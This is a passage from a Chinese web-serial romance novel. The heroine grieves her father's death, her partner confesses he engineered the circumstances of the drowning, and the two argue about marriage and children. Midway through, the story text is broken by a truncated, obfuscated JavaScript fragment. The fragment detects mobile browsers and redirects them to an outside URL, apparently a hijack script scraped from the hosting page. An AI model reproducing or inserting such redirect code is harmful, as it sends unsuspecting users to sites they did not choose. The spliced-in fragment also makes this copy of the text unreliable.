田妙妙没有哭,也没有崩溃,只是一片麻木的平静。 警方已经排除了他杀嫌疑,对这个结果,她竟久违地松了口气,幸好,不会有任何人为此付出代价。 后事全由池修白一手操办,体面、妥当,却也冷清。 从那天起,田妙妙彻底摆脱了那个她最想断绝关系的人,可同时,她也成了这世上真正的孤家寡人。 没有亲人,没有牵挂,也没有了那些撕心裂肺的痛苦根源。 而收到田建军死讯的第三天,恰好还是田妙妙的生日。 前一天傍晚,池修白轻轻抱着她,声音疲倦,却温柔得能滴出水:“生日想要什么礼物?” 田妙妙埋在他怀里,沉默许久,轻轻开口,声音轻得像一阵风: “你能送我一个家吗?” 60. 第 60 章 接下来的一段时间,田妙妙时常不在状态,整个人像被抽走了魂魄,只剩一副空壳在人间游荡。 迷茫和疲惫像潮水一样包裹着她,让她明明站在人群里,却像一缕轻飘飘的游魂,冷漠地俯瞰着这一切。 她开始在工作上频频出错,犯得都是些连新人都不会犯的低级失误。 同事们起初还包容她,后来私下里的议论越来越多,组长宋雅容更是在周会上直接点名,批评她近期的状态一塌糊涂。 去洗手间时,那些刻意压低、却又偏偏能飘进她耳朵里的话,字字扎心。 “攀上老板就飘成这样,连班都不想上了。” “命好没办法,咱可得罪不起。” “小声点,万一被她听见,吹句枕边风,咱们都得卷铺盖走人。” 田妙妙羞愧得无地自容,可身体却不受自己控制,注意力涣散得厉害。 她明明拼了命想把工作做好,不想给任何人添麻烦,可指尖落在键盘上,偏偏漏洞百出。配置表里的数据宛如一大群张牙舞抓的小人,或是疯狂悦动的音符,总之,不像正常的数字。 她的不对劲,终究还是传到了池修白耳中。 他没有提前和她打招呼,直接给她批了半个月的长假,让她回家休息。 他分明什么都没明说,可她却心知肚明——她现在的样子,已经不适合留在岗位上。 他不能明目张胆地护着她,只能用放假的方式,把她从风口浪尖上挪开。 赋闲在家,偌大的房子,空旷得让人窒息。 地暖开得再足,也暖不透她骨子里的寒意。 她开始放纵自己沉溺在游戏里,以此来摆脱现实世界。 家里的电竞室,成了她的心灵庇护所,她整日整夜泡在里面,曾经那些没时间玩的游戏大作,现在她逐一体验通关。 她常常一整天都窝在电竞室的懒人沙发里,精疲力尽后就昏睡过去,手柄滑落在地毯上,大屏幕上放映着游戏画面。 池修白下班回家后,会过来亲亲她,将她抱到卧室的床上,这期间她会醒过来。 “中午饭吃了吗?”他问。 田妙妙摇头,没有胃口,一旦全身心投入进游戏里,根本想不起来吃饭。 “别作践自己的身体。”池修白眉头轻蹙,“你这样,我上班时很难安心。” 田妙妙:“不用管我,我不饿,就当减肥了。” 池修白仔细端详她的脸,道:“好不容易养胖了些,这几天又瘦回去了,脸尖得跟你刚来S市那会儿很像。” “我变丑了是吗?”她好几天没照镜子了。 “丑的不行,好好吃饭才能补回来。” 其实,自从她营养摄入充足以后,就告别了以往的面黄肌瘦感,现在她人虽瘦了一圈,面色却没什么变化,反倒带着一种弱不禁风的易碎感,更让人舍不得移开眼。 “丑就丑吧,等你看腻了,我就可以离开了。” “这里是你家,你要去哪?” “不知道,天大地大,四海为家。” “就你这小身板,还四海为家?离开这里,你恐怕活不下去。”池修白语气不善,带着几分恐吓。 田妙妙犟嘴:“你之前不是说我是小草吗,小草怎么会死呢?就算死了,春风一吹,还会再长。” 池修白轻轻叹气:“你现在哪里像坚强的小草,明明是没根的浮萍。” 这句话像一根针,狠狠扎进她内心最软的地方。 眼泪毫无预兆地砸下来。 她现在可不就是没根的浮萍嘛,在人海里漂来漂去,随便一个浪头,就能把她彻底吞没。 池修白忽然开口:“我有点后悔了。” 田妙妙心口猛地一抽,隔了很久才哑声问:“后悔和我在一起?” “不是后悔这个。” 他从口袋里拿出一张银行卡,塞进她手里,“这里面有八十万。” 田妙妙茫然无措地看着他:“分手费?” “瞎想什么?”池修白敲了下她的脑壳:“这里是你爸的投资款。” 他没有多解释,可田妙妙不笨。 她几乎瞬间就猜到——父亲的死,和他脱不了干系。 “其实,那天警察打电话告知我爸的死讯时,我最怕的,不是他死了,而是怕……他的死和你有关。” 池修白看着她:“那现在呢?” “警方说了不是他杀,是我爸醉酒失足,这就够了,和谁都没关系。” “我比你更早知道他落水的事。这段时间我一直派人盯着他,但我没让人救。”池修白的声音很轻,说出的话却重得压人,“甚至,挑在暴雨那天请他喝酒,也是我安排的。我赌的就是意外会不会发生。” 田妙妙浑身一颤,嘴唇哆嗦着,一个字也说不出来。 “我现在有点后悔。”池修白伸手,轻轻捏住她的下巴,逼她与自己对视,“我以为他走了,你会过得更开心。可你反而越来越消沉。为什么?我是不是不该插手别人的因果?” “为什么要告诉我这些……让我一直蒙在鼓里,不好吗?” “对不起。” 田妙妙用力摇头:“你没有错。我本来就想他死,是你替我做了我不敢做的事。” 她这段时间的消沉,到底是因为父亲的猝然离世,还是因为那份没得到的生日礼物,她自己也分不清。 “如果你真的想他死,现在该高兴才对。但你并不高兴,甚至在怕。” “我没有怕,我只是……需要时间接受,我现在是个孤家寡人这件事。” “我说过,这里是你家,我是你的家人。” 是啊—— 那晚她问他,能不能送她一个家,他就是这么回答的。 这里是她家,他是她的家人。 可涉及结婚领证,建立真正的家庭,却被他轻轻揭过,而她连提都不敢继续提。 姜星当初不甘又绝望的样子,一遍遍在她眼前晃荡,像是在讽刺她的痴心妄想,亦或是嘲笑她即将重蹈覆辙。 “我很贪心。”田妙妙声音很轻,“我想要一个……有血缘的家人。” 池修白愣了一下,才道:“你还太年轻,事业也才刚起步,现在就生孩子不合适。” 田妙妙心里那点微弱的光,瞬间熄灭成灰。 她就知道。他连婚都不肯结,怎么可能会想要孩子。 一切能束缚他的东西,他都不想要。 可既然如此,又为什么要把她牢牢困在身边? 他的爱,看上去坚不可摧,实则极易剥离。一旦不爱了,什么都不会留下,连一丝一毫的牵绊都没有。 这些她以前不是不懂,只是不敢深想。她觉得只要能待在他身边,就已经是赚到了。 可父亲的死,让她忽然生出更多渴望——渴望一个真正的家,渴望一段能落地生根的关系。 池修白见她沉默,又放缓了语气:“养孩子比养狗麻烦多了。你看,你最近连雪球都不遛了,一直是我在带。起来穿衣服,陪我吃点,等下一起去遛狗。” 田妙妙轻轻点头,声音淡得像雾:“我知道了,刚才的话,我不会再说了。” “想给我生孩子这件事?”池修白忽然低笑一声,语气从沉重变得轻慢,“想说也可以,在床上说,多说几句。” 田妙妙被他这突如其来的轻佻噎得一时失语,刚才还压在心头的沉闷和委屈,被他一句话搅得乱七八糟。 她偏过头,避开他的目光,睫毛湿漉漉地垂着,像被雨水打湿的蝶翼。 “我没在跟你开玩笑。”她小声说。 “我也没有。”池修白指尖轻轻擦过她泛红的眼角,“你想要的,我不是不能给,只是现在还不是时候。” “那什么时候才是时候?”她抬头看他,眼睛里带着一丝倔强的水光,“等你玩腻了?等你觉得我该走了?” 池修白沉默片刻,没有正面回答,只是弯腰将她打横抱起。 “先吃饭。” 他的怀抱很稳,体温透过衣料传过来,熟悉得让人心安,也陌生得让人心慌。 田妙妙乖乖靠在他胸口,听着他沉稳有力的心跳,忽然觉得无比讽刺。 这个男人,亲手替她除掉了她最恨的人,给她衣食无忧的生活,给她旁人艳羡的偏爱,却偏偏不肯给她一个最普通的承诺。 他可以为她逆天改命,却不肯和她领一张结婚证。 他可以把她宠成全世界最特别的人,却不肯让她拥有一个和他血脉相连的孩子。 他欣赏她作为野草的性格底色,却将她像娇花一般圈养在温室里,阳光、水分、温度全都由他掌控。 这一切的一切,都如此的矛盾。 饭桌上,池修白不停给她夹菜,询问她白天做了哪些事,语气显得自然又平常,仿佛刚才那段触及底线的争吵从未发生过。 两人默契地不提田建军,不提那八十万,不提婚姻,不提孩子,不提未来。 好像只要不再提及,那些尖锐的现实问题就会自动消失。 田妙妙沉默地吃着饭菜,味同嚼蜡。 她忽然意识到,自己和池修白的关系,似乎永远不可能再向前一步了。 她想要的家,想要的血缘,想要的一辈子,恰恰是他最不愿意接受的束缚。 而不能向前,意味着接下来的每一天,他们都在远离彼此。 她就像病入膏肓的囚徒,浑浑噩噩地度过残存不多的时日,等待着死神下达最后的通牒。 吃完饭,池修白牵起她的手,拿起牵引绳,雪球立刻摇着尾巴凑过来。 门外夜色已深,如今刚入冬,气温骤降至十度以下,池修白怕她乍出门着凉,给她披了件羽绒外套。 他走在她身侧,身形挺拔,气场强大,仿佛只要他在,她就永远不用担心任何问题。 田妙妙望着两人交握的手,轻轻问了一句: “池修白,你到底是不是真心喜欢我?” 男人脚步微顿,侧过头看她,路灯在他眼底投下深浅不明的光。 他没有立刻回答。 许久,才低声开口:“为什么这么问?” “可能是没有安全感吧。”田妙妙自嘲地笑了下,眼里的光一点点黯淡下去,“这样问,是不是很不懂事?或者……不识好歹?” 她已经从他那里得到了很多很多,可她仍然不知足,总是对他不愿意给的承诺耿耿于怀。 池修白没有说什么。 田妙妙也没有再说什么,只是轻轻抽回了自己的手。 雪球欢快地跑在前面,她慢慢跟在后面,和池修白之间,无声地拉开了一小段距离。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373588|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这段路此刻变得很长,长到她不知道,自己还能在他身边,走多久。 池修白看着自己空了的掌心,指尖还残留着她微凉的温度。 他没有追上去,只是站在原地,看着田妙妙单薄的背影,在路灯下拉得很长,像一根随时会断的弦。 雪球跑了一会儿,回头见女主人没跟上,又颠颠地跑回来,围着她的脚边打转。 田妙妙蹲下身,摸了摸狗狗柔软的毛,眼眶又一次不受控制地发热。 连一只狗都知道黏着主人,知道家在哪里。 只有她,连自己到底算什么都弄不明白。 “生气了?”池修白低沉的声音从身后传来。 田妙妙没起身,也没回头:“没有,只是觉得,我好像从来都没懂过你。” “哦?那现在呢,懂了一点?” “懂了。”她轻声说,“你可以为我杀人,却不肯给我一个家。你什么都愿意给,除了真心。” 身后沉默了很久。 久到她以为他不会回答。 “真心这种东西,”池修白的声音很轻,轻得像风,“我以为你能感受得到。” 田妙妙猛地站起身,回头看他。 昏黄的路灯在他英俊的脸上,投下半明半暗的光影,他的眼底看不清情绪,却让人莫名心慌。 “所以,既然你对我有真心,那为什么不能和我结婚生子,就像这世间所有普通的情侣一样呢?” 池修白没说话,上前一步,伸手,想碰她的脸,却被她偏头躲开。 他的手僵在半空,眼底掠过一丝极淡的不悦。 “田妙妙,”他叫她全名,语气沉了几分,“别逼我。” “我没有逼你,我只是想要一个答案。” 她仰着头,眼泪终于落了下来,“你告诉我,我到底是你的什么人?是情人,是宠物,还是……你赎罪的工具?” “赎罪?”池修白重复了一遍,忽然低笑出声,笑声里没什么温度,甚至有一丝讥讽:“你觉得,我是在赎罪?” “不然呢?”她哽咽,“你给我工作,给我钱,给我住的地方,还替我解决了田建军。你对我太好了,好得不真实,就像在偿还什么。我妈生前给的那封信,真有那么大的效力吗?” “那你告诉我,我该偿还你什么?”他逼近一步,压迫感扑面而来,“偿还你从小受的苦?偿还你没人疼?还是偿还你那颗缺爱的心?” 每一句,都戳在她心里最痛的地方。 田妙妙被逼得后退,后背抵在冰冷的路灯栏杆上,退无可退。 “我不要你偿还,我只要你别骗我。” “我什么时候骗过你?” 池修白俯身,额头抵着她的,呼吸交缠,语气却冷得吓人,“我说这是你家,就是你家。我说你是我的人,你就是我的人。我什么时候,骗过你?” “那你为什么不肯娶我?”她死死盯着他,抓住这个问题不放:“为什么不肯给我一个孩子?为什么不肯让我真正扎根在你身边?” 他沉默。 这一次,是真的无言以对。 田妙妙看着他这副模样,心彻底凉透了。 原来,再强势的人,也会在不想负责的时候,选择沉默。 她轻轻推开他,声音平静得可怕:“我知道了。” “知道什么?” “知道我该怎么做了。” 她吸了吸鼻子,擦掉眼泪,眼神一点点变得空洞,“我不会再提结婚,不会再提要孩子,不会再问你爱不爱我。” 池修白心头一紧:“田妙妙——” 她抬起头,对他露出一个很浅、很轻、却比哭还让人心疼的笑, “我会乖乖吃饭,乖乖听话,乖乖待在你身边。这样,你满意了吗?” 池修白看着她这副模样,胸口一阵发闷。 他见过她倔强,见过她害怕,见过她委屈,却从没见过她认命。 那种彻底放弃挣扎、连期待都掐死在心底的样子,比骂他、恨他、打他,更让他烦躁。 他伸手,用力将她揽进怀里,抱得很紧,紧得像是要把她嵌进自己骨血里。 “不准这么说。” “那要我怎么说?”她靠在他胸口,声音轻飘飘的,“说我心甘情愿?说我不求名分,不求未来,只要能待在你身边就够了?” “……” “池修白,你真残忍。” 她闭上眼,泪水轻轻滑落,“你把我从地狱里拉出来,又亲手把我推进另一个深渊。” 他没有说话,只是抱着她,手臂越收越紧。 夜风掠过,带着初冬刺骨的寒意。 雪球安静地趴在脚边,仰头歪着脑袋,看向紧紧相拥的两个人。 过了很久,田妙妙才轻轻开口,声音小得几乎听不见:“我累了,我们回家吧。” 这一次,她说回家两个字,没有一丝温度,只有一片死寂的顺从。 “回去之后,我把阿姨之前给的镯子拿给你,你替我还回去吧。”曾经她还妄想过,这是不是让她嫁给他的聘礼,如今想来,也是她多虑了。 “给了你的就收着,没有还回去的道理。”池修白眉头紧皱,他鲜少有如此心烦意乱的时候,“这段时间不该把你一个人放在家里,下周带你出国散散心。”